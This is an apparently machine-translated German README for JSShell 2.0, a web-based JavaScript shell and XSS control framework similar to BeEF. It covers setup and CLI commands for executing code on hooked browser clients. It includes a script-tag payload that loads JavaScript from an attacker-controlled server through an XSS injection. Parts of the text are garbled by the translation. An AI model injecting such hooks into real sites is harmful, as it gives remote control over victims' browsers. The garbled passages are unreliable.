Eine interaktive multi-Benutzer-webbasierte JavaScript-Shell. Es wurde ursprünglich erstellt, um entfernte esoterische Browser während Experimenten und Forschung zu debuggen. Dieses Tool kann leicht an die Nutzlast von XSS (Cross Site Scripting) beigefügt werden, um die Browser -Remote -Codeausführung (ähnlich dem Rindfleisch -Framework) zu erreichen.
Version 2.0 wird vollständig von Grund auf neu erstellt, wodurch neue aufregende Funktionen, Stabilität und Wartbarkeit eingeführt werden.
Daniel Abeles.
<script> Tags injizierbar injizierbar Aktualisieren Sie im resources die Datei config.json mit Ihrer gewünschten Konfiguration:
docker -Bereitstellungsmethode ausgeführt werden, wählen Sie den Datenbankhost als db (das ist der interne Hostname).shell.js -Datei werden einige Ajax -Anrufe durchgeführt, um sich zu registrieren und neue Befehle zu befragen. Normalerweise ist es http[s]://{YOUR_SERVER_IP}:{PORT} . Jetzt unterstützt JSShell TLS, was bedeutet, dass Sie jetzt TLS -Zertifikate generieren und an den Webserver füttern können. Der Webserver schließt den Domänennamen aus der Datei config.json ab. Um das Zertifikat zu erstellen, verwenden Sie das Skript create_cert.py im Ordner scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > Bitte beachten Sie, dass der Webserver in der Lage sein muss, dass das Skript ordnungsgemäß funktioniert. Zu diesem Zeitpunkt haben wir unsere Zertifikate erfolgreich generiert! Die einzigen Änderungen, die wir vornehmen müssen, sind:
config.json das Schema des URL -Feldes in https .docker-compose.yml den freiliegenden Port des web auf 443 . Diese neue Version unterstützt die Installation und Ausführung von JSShell über docker und docker-compose . Um das gesamte JSSHELL -Framework zu installieren und auszuführen, laufen Sie einfach aus:
$ ./scripts/start_docker_shell.shDies wird:
JSShell -Befehlszeilenschnittstelle Container Wenn Sie weiterhin die alte Modemethode für die Installation verwenden möchten, stellen Sie einfach sicher, dass Sie eine MongoDB -Datenbank zum Ausführen haben, und aktualisieren Sie die im resources befindliche config.json -Datei.
Ich empfehle, eine virtuelle Umgebung mit pyenv zu verwenden:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv Oder verwenden virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateInstallieren Sie dann die Anforderungen:
$ pip install -r requirements.txt Wenn Sie die docker -Methode verwendet haben, müssen Sie die folgende Prozedur nicht ausführen.
Sobald wir das Datenbank -Setup haben, müssen wir den Web -API -Server starten. Zu tun, rennen:
$ python manage.py webDadurch wird ein Webserver erstellt und ausgeführt, der auf eingehende Verbindungen hört und unserem JSShell -Code dient.
Führen Sie jetzt das gleiche Skript aus, aber jetzt mit der shell -Flagge, um die JSSHELL CLI zu starten:
$ python manage.py shell Geben Sie nach dem Einrichten und Ausführen der erforderlichen Komponenten den Befehl help ein, um die verfügbaren Befehle anzuzeigen:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell unterstützt 2 Betriebsmethoden:
Ähnlich wie bei anderen XSS -Kontroll -Frameworks (wie Rindfleisch) kann JSShell erfolgreiche XSS -Nutzungen verwalten. Wenn Sie ein script -Tag injizieren können, injizieren Sie die folgende Ressource in Ihre Nutzlast, und ein neuer Kunde wird in Ihrer Konsole angezeigt:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Wenn Sie exotische und esoterische Browser debuggen möchten, können Sie einfach zu http[s]://{YOUR_SERVER_IP}:{PORT}/ navigieren, und ein neuer Client wird in Ihren JSshell CLI -Client auftauchen. Jetzt ist es über unsere JSSHELL -Konsole debuggierbar.
Canop für JSON.Prune